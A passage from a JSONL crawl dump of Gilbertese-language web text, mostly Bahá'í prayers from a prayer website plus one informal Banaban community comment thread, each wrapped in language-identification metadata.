Atataiaomata, te Nanoanga.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=70218080&to=gil","date":"2019-10-16T10:45:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986666959.47\/warc\/CC-MAIN-20191016090425-20191016113925-00399.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":323,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.415,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko noorai, au Uea, ma moau are e rairaki nakon karawan Am tituaraoi ao marawan Am bwain aakoi, ni bubai man bwaai ni kabane i Rarikim. I Butiiko, ni mimitongin Taain Am Kaotioti i aon Tiinai, ao ni korakoran ootan Tobibin Am raoiroi are e ootanako man rabin karawan Aram, are te Kakabwarai buure ao ni bwaina te atataiaomata nakoiu. Korobokiia i bukiu, ngkanne, n Am kainikoroboki ni mimitong baike a na karietataai rinanon Aram n aonaaban te karikibwai.\nBuokai, au Uea, ni kaineti Nakoim, ao n ongoongo ni bwanaaia naake Ko tangiriia, ake mwaakan te aonaaba a tia n aki konaa ni kamamaraiia, ao tautaekan aaba nako a tia n aki konamaki n tauiia Mairoum, ao naake a tia n taku ngke a waaki Nakoim: \"Bon Te Atua ara Uea, Ueaia ni kabaneiia ake i karawa ao ni kabane aika i aon te aonaaba.\"","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=60209030&to=gil","date":"2019-10-14T04:58:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986649035.4\/warc\/CC-MAIN-20191014025508-20191014052508-00523.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":145,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.359,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te mimitong Nakoim, O te Uea Atuau! Aikai bong are Ko a tia ni kataua bwa ni kabane aomata a na katabua te aki mamatam, bwa rinanona a na kona ni kaitiaki tamneia ao ni kakeaa mai irouia taian kabaebae nakoia aomata ma ti Ngkoe, ao bwa man nanoia e na kona n rierake te baere e na botau ma nnen Karineam ao ni katauaki nakon kaintekatekan kaotiotin Am katiteuana. Kariaia, O au Uea, bwa te karemo aio e na riki n ai aron te karanga are e anga te ran ni kamaiu ao ni kona ni kaotinakoa te anua ni maiu ae e tamaroa are e Ko a tia ni kaonrakea iai. Rinanona ao Ko na kaitiaka nanoia Am toro are a tia buakakan te aonnaba ni konaaki n totokoia man rairakiia nakon Aram ae te kabanea ni mimitong, ao man tiku n aki kamwaingaki ni kaberoroia ao kakiriweia naake a tia ni kaitarai Am kanikina aika a rangin otanako ake irian kaotin Am Tia Uarongorongo are Ko a tia ni kanoaia ni Ueam, Mwaakam, Karineam ni Uea ao Mimitongim. Aikai tooro ake, n te tai are e roko te wewete irouia, a kawaekoaia ni kaineta Am nanoanga ao a aki totokoaki mai Iroum ni bibitakin ao bwaai aika a riki n te aonnaba aio ke man tiatianakin aia konabwai n aomata.\nNgai teuare, O Atuau, are I kakoaua nakon Am katiteuana, are I kakoaua ae ti temanna Ngkoe, are I bobaraaki ma te kamangori i matan kaotiotin Rinem ni Uea, ao are I kina ma moamoau ae e bobaraki tamaroan otanakon tauran Mimitongim ae e rianako. I a tia ni Kakoauako ngkai Ko a tia ni kariaiakai bwa Nna Kinako, Ngkoe are Ko a tia ni Kaotiko nako mataia aomata rinanon mwaakan Ueam ao Korakoram. I rairaki Nakoina, ni kamwawaai n te aro ae e tabwanin man bwaai nako, ao n nimtaki ni kamatoaki nakon kaon Am bwaintangira ao bwaai ake Ko tangiri. I a tia n rabwatii Ana koaua, ao koauan tuua ao reirei ni kabane aika a rangin tamaroa ake a tia ni karuoaki Nakoina. I a tia n aki mamatam ibukin Tangiram ao ibukin uaiakinan Am moti, ao n urua au aki mamatam ma Kamoamoakim iaon neweu ao ni kaboraoia ma are Nanom. Tai karawawataai, O a Uea, bwa Nna warekaki ibuakoia naake a tia n aki mamatam n aoan te ngaina, ao ake n te tairiki a tia ni bobaraaki i Matam, ao ake a tia ni kakeaa Am koaua, n aki kakoauai Am kanikinaa, ni kaokoroia ma Am kakoaua, ao ni kaitarai Am taetaenikawai.\nKo na kauka, O au Uea, matau ao mataia ni kabane ake a Ukoukoriko, bwa ti aonga ni Kinako n oin Matam. Aio Am kaetieti are ti anganaki inanon te Boki are Ko karuoa Nakon Teuare Ko a tia n rineia iaan Am babaire, are Ko a tia ni katebenakoa ni kaineti ma Nanom are Ko tangiria iaoia nako Am kairiribai, are Irouna Ko a tia ni kukurei ni kaonrakea ma Ueam, ao Irouna are Ko a tia ni karaka tangirana ao ni mwiokoia ma Am Rongorongo nakoia Am aomata. Ai ngaia are, Ko na kamoamoaki Ngkoe, O Atuau, ngkai Ko a tia, rinanon Am tituaraoi, ni kariaia bwa ti na kina Teuarei ao n atai bwaai ni kabane ake a tia ni karuoaki Nakoina, ao n anganira karineara ni karekea rokora irarikin Teuare Ngaia are Ko beritaia inanon Am Boki ao inanon Am Tabureti.\nKo norai ngkanne O Atuau, ma moau ae e rairaki Nakoim, n taua ni kamatoa kaon Am tituaraoi ni karawa ao Am akoi, ao n tinea kamwarain Am nanoanga ae e tatangira ao Am tituaraoi aika a wawanako. Tai urua, I bubutiko, au kantaninga ibukin karekean rokou nakon are Ko a tia ni kataua ibukiia Am toro ake a tia n rairaki nakon mwakoron Am tabo ao kamanomanon Kaaniam. I kaotia ma te kabwarabure, O Atuau, bwa te bwai are e wai mai irou e bon aki botau ma Ueam ao e memeere iaan Kakannatom ni Uea. Ma e ngae n anne ao I ononiiko n Aram are Rinanona Ko a tia ni Kaotiko, inanon mimitongin aran nakoam aika a rianako tamaroaia, nakoia karikibwai ni kabane, inanon te Kaotioti aio ike Ko a tia, rinanon Aram ae e ota nako, ni kaotiota Tamaroam, n anganai bwa Nna moi ni wainin Am nanoanga ao n te ninima ae e itiaki are Nanom, ake a tia ni wawanako man angatain Am moti, bwa I aonga ni kona ni katuruturua au taratara nako Aom, bwa e aonga te aonnaba ao bwaai ni kabane ake a karikaki inanona n taraaki irou bwa ai aron te ngaina ae e kai toki are Ko a tia n kataua aki botauna Nakoim ibukin karikakina.\nIaon riki aio ao I bubuti Nakoim, O Atuau, ni kabwaka karaun, man karawan Nanom ao nangin Am nanoanga, te baere e na kaitiakira man kammairan boin ara bure. O Ngkoe are Ko Araniko bwa Atuan te Nanoanga! Ngkoe, ni koaua, Moan te Mwaaka, te Kabanea ni Mimitong, te Tituaraoi.\nTai karenakoa, O au Uea, teuare e a tia n rairaki Nakoim, ke ni karawawata teuare e a tia ni katikaki ni kaaniaki Nakoim bwa e na kamwawaki nako ni kararoaaki man Am tabo. Tai kabwara ana kantaninga te tia Matennanoiko are e a tia ma te ingainga n takini nako baina ni ukoukoura Am tituaraoi ao Nanom, ao tai kaakea mai Iroum Am toro ake a kakaonimaki man tamaroan Am nanoanga ae e tatangira ao Am tangira n akoi. Ngkoe te tia Kabwarai bure ao Moan te Tituaraoi, O au Uea! Ko mwaaka ni karaoa are Ko tangiria. Bwaai ni kabane ma ti Ngkoe bon akea korakoraia i matan kaotiotin Korakoram, a bon bua i matan taian kakoaua ibukin Kaubwaim, bon akea warekakia ngkana a kabotauaki ma kaotiotan Ueam ae e roti tabo nako, ao akea korakoraia ni kabane ngkana a aitara ma taian kanikinaa ao taribin Korakoram. Ia riki te tabo ni kamanomano Irarikim, O au Uea, are Nna kona ni biri nako iai, ao e nga te tabo ni katantan are I kona ni kawaekoai nako iai? Akea te tia kakawakin bwa ti Ngkoe, akea te tabo ae ti kona ni biri nako iai bwa ti Ngkoe, akea te tabo ni kamaiu ae ti na kona n ukoria bwa ti Ngkoe. Karikai bwa Nna katonga O au Uea, karewerewen tamnein Uringakim ao Kamoamoakim. I berita ni Korakoram! Te aomata are e katomamiia karewerewena e na bon kakeaa mai irouna kabaebaeana ni kabane nakon te aonnaba ao bwaai ni kabane ake inanona, ao e na kaitara moana Nakoim, ni kaitiakaki man uringakin temanna bwa ti Ngkoe.\nKaota ngkanne nanou, O Atuau, n Uringakim ae e kakukurei, bwa I aonga ni kamimitonga Aram. Tai warekai ibuakoia naake a wareka Am taeka ao a aki roko n te kunea Am bwaintangira ae e karabaaki are, n aron ae e motikaki mai Iroum, e mena inanona, ao are e kamaiua tamneia Am karikibwai ao nanoia Am toro. Karikai, O au Uea, bwa Nna warekaki ibuakoia naake a tia n rangi ni kamwaingaki ni karewen boiararaia ake a tia n ukukaki inanon Am bong n te aro are a tia n anga maiuia Ibukim ao ni kawaekoaia nakon aia tabo ni mate ibukin ingaingan nanoia ni kan kabanea aia tai n taratara Tamaroam ao ibukin korakoran nanoia ni kan karekea rokoia Irarikim. Ao ngkana iai temanna ae e na taekina aio nakoia iaon kawaia, \"Ia te tabo ae ko na nako iai?\" a na kangai, \"Nakon te Atua, te Tia Bwaibwai ni bwai ni kabane, te Tia Ibuobuoki n tain te Kanganga, te Taubobonga i bon Irouna!\"\nTaian bure ake a tia ni karaoaki irouia naake a tia n tannako mai Iroum ao n tia ni kaota te kamoamoa Nakoim a tuai man reke angaia n tukiia naakai man Tangirakim, ao man kainetan moaia Nakoim ao man rairaki ni kaitara Am nanoanga. Aikai naake a tia ni kakabwaiaki iroun te Runga are i Eta, ake a kamimitongaki irouia taan maeka ni Kaawa ake a Bubura ake akea tokiia, ao i akuun riki anne naake i aon ramwaia e a tia te Kainikoroboki are moan te karietataki ni korobokiia ni kangai: \"Naakai! Aomatan Bahá. Rinanoia e a tia ni kaotaaki otan tauran te kairiiri.\" Aio are e a tia ni baireaki, man Am tuatua ao Am moti, inanon te Tabureti are e mena iai Am kaetieti ae e aki kona ni kaitaraaki.\nKatanoata, ngkanne, O Atuau, rianakoia ao rianakoia naba naake inanon aia tai ni maiu ke imwin mateia a tia n otabwaniniia. Anganiia tibwangaia n te baere Ko a tia ni baireia ibukiia aika a etieti ibuakoia Am karikibwai. Ko mwaaka ni karaoi bwaai ni kabane. Akea te Atua bwa ti Ngkoe, te Moan te Mwaaka, te Tia Ibuobuoki n tain te Kanganga, Moan te Korakora, Moan te Tituaraoi.\nTai karokoi n tokiia ara aki mamatam ma te tai n aki mamatam aio, O au Uea, ao tai karokoi n tokiia taian boraraoi ake Ko a tia ni karaoi ma te boraraoi aio. Butimwaai bwaai ni kabane ake ti a tia ni karaoi ibukin Tangiram, ao ibukin Kakukureiam, ao bwaai ni kabane ake ti tuai karaoi ibukin tautaekanakira iaan nanora aika a bubuaka ao ni kaibwabwaru. Kariaiakiira ngkanne, bwa ti na teimatoa n nimtaki nakon Am tangira ao Kukurein Nanom, ao kawakiniira man aia mwakuri buaka naake a tia ni kakeweko ao ni kaitarai Am kanikinaa aika a otanako. Ngkoe, ni koaua, Uean te aonnaba aio ao ae e na roko. Akea te Atua Irarikim, moan te Karineaki, Moan te Rietata.\nKo na kamoamoa, O te Uea Atuau, Teuare Ngaia Boton te Kakannato, te Miterio n Tamnei, te Oioi ae e aki Nonoraki, Ngainanaumarin te Tamnei, ao Kaotiotin Arom ni Uea, are Rinanona ao taian ataibwai ibukin taai aika a nako ao ataibwai ibukin taai aika a na roko a bane ni kaotaki, are Rinanona ao taian bwaeao ibukin te atatai ae e karabaaki a bane ni katangainaaki, ao miterion Aram ae e tangiraki a kaotaaki, Are Ko a tia n rineia bwa te tia katanoata Teuare Arana a tia ni katomaaki ao ni katiteuanaaki te manintaeka ae B ao te manintaeka ae E, are rinanon Arom ae e Karineaki, Ueam ao Korakoram a riki n ataaki, Rinanom a tia ni karuoaki Am taeka, ao Am tua a kaotinakoaki n teretere ao Am kanikinaa a kabutaki nakon taabo nako, ao Am taeka e a kateakiraoi, Rinanom are nanoia naake a rineaki Iroum a katangainaaki, ao ni kabane ake i karawa ao ni kabane ake iaon te aba a bane n ikotaki, Teuare Ko a tia n aranna bwa 'Ali-Muhammad inanon aonnaban Aram nako, ao Tamneia Tamnei inanon Taburetin nako Am tua ae e aki kona ni kauntabaaki, are Ko a tia ni katokaa iaona oin Aram, are nakon Aram ao a tia aara ni kabane iaan am moti ao rinanon mwaakan Korakoram a bane ni kaokaki, ao Rinanom are Ko a tia ni karikii Anuam ao Aram nako bwa a na karokoia n tokin aroia. Ana bwai naba aara ake a karabaaki inanon Umwam aika akea memeaia, inanon Am aonnaba ae e aki kona n nonoraki ao Am kaawa aika a katabuaki.\nKo na kamoamoa, iaon riki bwaai ni kabane, naake a tia ni kakoaua Teuarei ao Ana kanikinaa ao n tia n rairaki Nakoina, mai buakoia naake a tia ni kakoauaa Am katiteuana inanon Am Tia Uarongorongo ae E a tibwa tia ni kaoti – te Tia Uarongorongo are E a tia ni mwaneweia inanon Ana Tabureti, ao inanon Ana Boki, ao inanon Ana Koroboki, ao inanon kiibu nako aika a tamaroa ao taetaenikawai ae ai aron momi ake a tia n ruo nako Aona. Bon te Tia Uarongorongo naba aio are Ana Boraraoi Ko a tia n tuanga bwa E na kateia imwaain ae e katea oin Ana boraraoi. Bon ngaia are E kamoamoaaki inanon te Bayan. Inanona are Tamaroana e a tia ni kamoamoaaki, ao koauana e a tia ni kateaki, ao Ueana e katanoataki, ao Ana Aro e kakororaoaki. E a kakabwaiaaki teuare e a tia n rairaki Nakoina ao ni kakoroi bukin bwaai ake E a tia n anga Ana kaetieti iaoia, O Ngkoe are Uean te aonnaba ao aia Tangira naake a tia ni Kinako!\nKo na kamoamoaaki, O Atuau, ngkai Ko a tia ni buokiira bwa ti na kinaa ao n tangiria. Ai ngaia are, I bubutiko Iroun ao Irouia Naake Ngainanaumarin Tamneim, ao Kaotiotin Ueam, ao Kaubwain nako Am Kaotioti, ao Taan Uouoti Am kairiiri, ni buokiira bwa ti na beku ao n ongeaba Nakoina ao kakorakoraira bwa ti na riki bwa taan buoka Ana Aro ao taan kamaenakoia Ana kairiribai. Ko mwaaka ni karaoa are Ko nano iai. Akea te Atua Irarikim, te Kabanea ni Korakora, te Kabanea ni Mimitong, Teuare E ukoukoraki te ibuobuoki mai Irouna irouia aomata ni kabane!","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190302045","date":"2019-10-14T04:54:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986649035.4\/warc\/CC-MAIN-20191014025508-20191014052508-00557.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2150,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.384,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI NATIN TE IANGO N AONAABA!\nE tamaroa te abanuea ni maiu, karekea rokomi iai; te mimitong bon tautaekan te aki tootoki, ngkana ko a riaon te aonaaba n rabwata, e karewerewe te kimwareirei ae tabu ngkana ko mooi n te kanuwanga n tamnei man bain te Kairake ni karawa. Ngkana ko karekea te karinan aei, ko na bon kainaomata man ana te urubekebeke ao te mate, man te mwakuri ao te bure.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403710","date":"2019-10-15T00:29:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986655554.2\/warc\/CC-MAIN-20191014223147-20191015010647-00288.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":74,"character_repetition_ratio":0.011,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.392,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Atuau ao au Toka! Bon Ngai Am toro ao ana nati te mwaane Am toro. I a tia n teirake mai aon nneu ni wene n te ai oota aio ngke e a tia n oota nako iai Itoin Ngainan Arom ae ti teuana man Koburaken Ngainan Nanom, ma n tia ni kaotaorababa nako ootana i aon te aonaaba ni kabutaa, n ai aron are e a tia ni motikaki bukina i nanon Bokin nako Am Kaetieti.\nTe nebonebo nakoim Ngkoe, Atuau, ngkai ti a tia ni uti i nanon mimitongin ootan Am ataibwai. Karuoa, ngkanne i aora, au Uea, are e na konaa ni buokiira ni kaaki taekan temanna i Rarikim, ao e na taeinako ni kabane mairoura mwaninganakora n te bwai teuana ma ti Ngkoe. Ao i aon riki anne korobokiia i bukiu, ao i bukiia ake a tangiraki irou, ao i bukiia naba au utuu, te mwaane ma te aine ni kaboraoiia iai, raoiroin te aonaaba aio ao te aonaaba are e na roko. Kakamauriira ngkanne rinanon Am kakaawakin ae akea tootokina, Ngkoe ae Moan te Tangiraki irouia karikibwai nako ao are Maamatenanoia aonaaba ni bwaniniia, mairouia ake Ko a tia ni karaoia bwa kaotiotan te tia wiwi ae e Buakaka, ake a wirikiriki i nanon bwanibwaniia aomata. Ko bon mwaaka ni karaoa are Ko kani karaoia. Boni Ngkoe, ni koaua te Kabanea ni Mwaaka, te Buoka n te Kanganga, te Maiu i bon Irouna.\nNgkoe te Uea ae Atuau, karaoiroa Teuare Ko na tia ni kateia i aona Aram aika a moamoa, ao Rinanona Ko a tia ni kaokoroia aika a raoiroi ma aika a buakaka, ao aakoira ni buokiira ni karaoa are Ko tangiria ma n nano iai. Kakabwaiaia, riki, Atuau, naake bon Am Taeka ao Manin Am Taeka, ao naake a tia ni kainetii moaia Nakoim, ao n tia n rairaki nako Moam, ma n tia ni kakauongo n Am wewete.\nBoni Ngkoe, ni koaua, aia Uea ao aia Toka aomata ni kabane, ao Ko Mwaaka i aon bwaai ni kabane.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=10213000&to=gil","date":"2019-10-23T06:18:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987829458.93\/warc\/CC-MAIN-20191023043257-20191023070757-00508.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":34,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":337,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.386,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O TE NATI TE MWANE AE NATIN AU TABONIBAI TE AINE!\nE a tia ni karorokoaki te kairiiri n te taetae, ao ngkai e a karokoaki n taian mwakuri. Ni kabane a riai ni kaotinakoi aia mwakuri aika a itiaki ma n tabu, bwa taeka bon ti tabo anuaia, ma aeka ni mwakuri aikai bon Ana bwai Teuare E tangiraki iroura. Keiakinna ma te nano ao te tamnei ni kaokoroi ngkami n ami mwakuri. N te kawai aei Ti a tuangkami n te tabureti ae tabu ma n oota aei.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403770","date":"2019-10-18T22:34:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986684854.67\/warc\/CC-MAIN-20191018204336-20191018231836-00474.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":90,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.467,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri riki, u make a perfect guess, we say bulls eye, right on the spot.how you do that ? I know; they say that when we eat fish a lot, our memory capacity builds up and with the aid of those proteins downloaded from eating fish,basically it energies our brain cells that controls our memory.Yes, ngai bon te karimoa iroun tinau ae Nei Nuatabu ao ia butiko ba koa karekea taekan aba aike Tabiteuea ao koa korea aram ao arau iai,au ara au motiki n taeka anne ?ah ah ah.... Tau tibo moa ao kona tekeraoi iaon am tabo anne.\nena bon maga okiriko naba am mwaneweare bon gke te boboto!!! neiko, ai maga te tigotigo ma te bwai teuana??? tariu e a ragin bubura am vocab ni kiribati kee?? maroaka gkoa ao ai gaia bon te tia rei2 gke nee?? ko a bon kabiri rake gke?? eaoria ma tekeraoi gke am rei2 ao keiakinna bwa ko aoga n tebenako keg!!\nti bon maru2g raoi ma tibu aio, ao kaga bon akea moa te news ma ikaim ma koa maga bon update ma ikanne kee?\/ tekeraoi moa te waki ao takecare gke!\nmauri tariu! ao ko uara moa n te tai aei?? e koaua bon tanigai n aron te boo raraoi ke ?? ao gai gkai ae i bon tabe naba ni kakaei nakok ibukira ni ka uoman. sis ko a bon kaaua naba nanom, bwa are e reke ma tera ao ti a bon karau naba nanora ....ke kaga????\nko mena ia gkai?? ao ko mena irouia antai gkai?? ao ane e bon waki naba am rei2?? e tau bwa i a maga bon ogora iroum?? e a roko te mwaitoro i nz gkai, ao gai ma tibu ti bon tabe naba ni kekeiakib ni butimwaeia. last wk ao i bon mena irouia tagaia teitirake ma raga ao natia. tera nako te news ikanne, pliz ko a maga update gke ma ikanne.\nbon te iga nakoim ae moan te bati gke, ao kkona bati n tekeraoi n am waki ni bane. ana kiss naba tibu aio nakoim ae moan te bati. sis ti a maga boo moa n aki akaka nee iaon te internet.\nhey sis!!! i a kuba nako ao i a bon kuri tog gkai i a noriko iaon aia bwai n eitaki imatang aio. ao i bon taku inanou??? tao ia kan kauntaeaki??? ma gaia i bon aki , bwa bon tariu are e a bon bure gkai ana katirim, are bon riam te boboto???\ne koaua neiko am taeka\n,bwa are i a bon maan ni kitana ikanne, gkai ti a bon kitana aoz, bwa e a bane ara tai, ao gkai ti a maga raun teutana nako nz ao ti a oki naba to fiji ao n okira kiribati.ae nna oki ao ia bon uota naba am buaraku mai nz, ao tao ti a bon ibuo2kia, e uara anne??\nko uara n am tabo anne??? i taku bwa kko bon fit man aintoa, ao uriga tariu bwa kona bon riki naba bwa au bouncer gke. tekeraoi gke tariu ao teimatoa n update ma n am tabo anne. bye and take care!\nMauri Sis nte ririki ae bou...Thanks for the comb..I just got the day I went to Rabi..All that time I thot Tekauea has gone back to Kiribati...Anywy let me know if anyone going back there n I'll try n send u something..maybe am chewing gum or am panty hose..lol\nTake care n God Bless..\nthis is a great website to be in touch ma kain banaba wherever they are!\nnews here is hot on the Rabi Council of Leaders. ngkai e karaoiaki te police investigation on the RCL in rabi and suva ibukin te mismanagement and corruption....i think by december and we will know who will go to court and jail...first time for RCL...it shud have been done long time ago for the previous leaders in the past...will update later..\nngkai kain te Banaban Culture group in suva are young girls and boys ao anang nikoniko man marau...tangaia nei teitu and tabuki bon taan katei and kairiri. they are so graceful and very exciting to watch.\neuare am tabo anne...iongo ba ea kan rabunaki nte ran..sea..hahaha..just joking..\nu look pretty and happy there so life there must be very good and treating u well!!\nare u single or married?? i still remember the foto of u with ur long hair in front of u and wearing a dye dye sulu...ruteru pinned ur foto on the wall in our home when he was staying with us in toorak....isa that was a longtime ago...wen he was crazy over u....lol...\nanyways, have a good time and be happy...see u again later...byeeeee","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/banabanvoice.ning.com\/profile\/RiamTuari","date":"2019-10-22T03:24:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987798619.84\/warc\/CC-MAIN-20191022030805-20191022054305-00542.warc.gz","language":"gil","language_score":0.9948062301,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 0.9948062300682068}","num_words":782,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.211,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI RAOU!\nKauringnga n ami iango te boraraoi are kam rin iai ma Ngai i aon Maungan Paran, are mena n te tabo ae tabu i Zaman. I a tia ni kakoaua nakoia kaain te runga ni karawa ao taan maeka ni kaawan te aki tootoki, ma e ngae n anne bon akea ae I kunea ae kakaonimaki nakon te boraraoi. I bukin te kamoamoa ao te nano n rawa are e a kamaunaaki mai nanoia, ao n aron anne are akea mwiin are e tiku iai. Ma n ataakin aei, I tataninga ao I aikoa kaotia.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403720","date":"2019-10-15T00:26:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986655554.2\/warc\/CC-MAIN-20191014223147-20191015010647-00319.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":98,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.469,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O ngkoe are ko tabe n raira moam nakon te Atua! Kaina matam nakon bwaai ni kabane, ao kaukia nakon aonnaban te Kabanea ni Mimitong. Bubuti te bwai are ko tangiria ti mai Irouna; ukoukora te bwai are ko kakaaea ti mai Irouna. N ti teuana taraakim teutana Irouna ao E kona n anga tebubua te nga te kantaninga, n ti teuana katokaakin Matana teutana iaom ao E kona ni kamarurunga tebubua te nga te aoraki, n ti teuana katouan Atuuna ao E kona ni katokaa te bwainaoraki iaon taian ikoaki ni kabane, n ti teuana norakim teutana ao E kona n kamwaawai naano man taurekereken te karawaawata. E karaoa are E taku n aron ae E bon taku, ao tera riki kawaira ibukin karekean buokara? E kakoroi bukin Ana iango, e katauii bwaai ni kabane ake E tangiri. Ai ngaia are e raoiroi riki bwa ti na kabobaraaka atuura n ongotaeka, ao ni katuka ara mwioko iroun te Uea ae te Kabanea n Nanoanga.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190202130","date":"2019-10-18T22:40:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986684854.67\/warc\/CC-MAIN-20191018204336-20191018231836-00091.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":165,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.388,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKOE TE NATI TE MWANE AE NATIN AU TABONIBAI TE AINE!\nKo noora te tautaeka ae akea rabwatana, ko na bon waaki nako man te aonaaba ae tabeibeti aei. Ma ni karabaa teuana mairoum ao ni kaota are teuana ai bon te bwai ae raba are bon akea ae e konaa n iangoia ma ti te nano.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403420","date":"2019-10-23T19:26:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987835748.66\/warc\/CC-MAIN-20191023173708-20191023201208-00236.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":58,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.397,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI RAAO!\nKam a tia ni mwanuokia te ingaabong are e koaua ao n oota, ngke kam bane ni botaki ma Ngai n te otabwanin are e tabu ma ni kakabwaiaaki i aan nuun kain te maiu, are e unikaki n te baretaiti are te kabanea ni mimitong? N rotakimi n te mwaaka ngke kam kakauongo ngke I anga au taetae i aon taeka aika tenua aika moan te tabu: Tai tabeakina nanom nakon are Nanou, tai tangira te baere I aki tangiria i bukim, ao tai kawarai ma te nano ae akea te maiu iai, ae kabarekaaki ma tangiran te aonaaba ma kamaeuna nako. Kam na konaa ni kamimitongi tamneimi, kam na karaoia n te aoa naba aei ao n uringa te tabo ao te otabwanin, ao koauan Au taeka e na bon kakoauaaki iroumi ni kabane.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403200","date":"2019-10-15T00:21:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986655554.2\/warc\/CC-MAIN-20191014223147-20191015010647-00492.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":139,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN AE MAIU O!\nKataua te mate ni maritire ni Kawaiu, rauaki n Au kukurei ao n rangi ni karabwarabwa i bukin are I a tia ni baaireia, bwa are ko aonga iai ni motirawa ma Ngai i aan taubukin te kakannato i akuun te 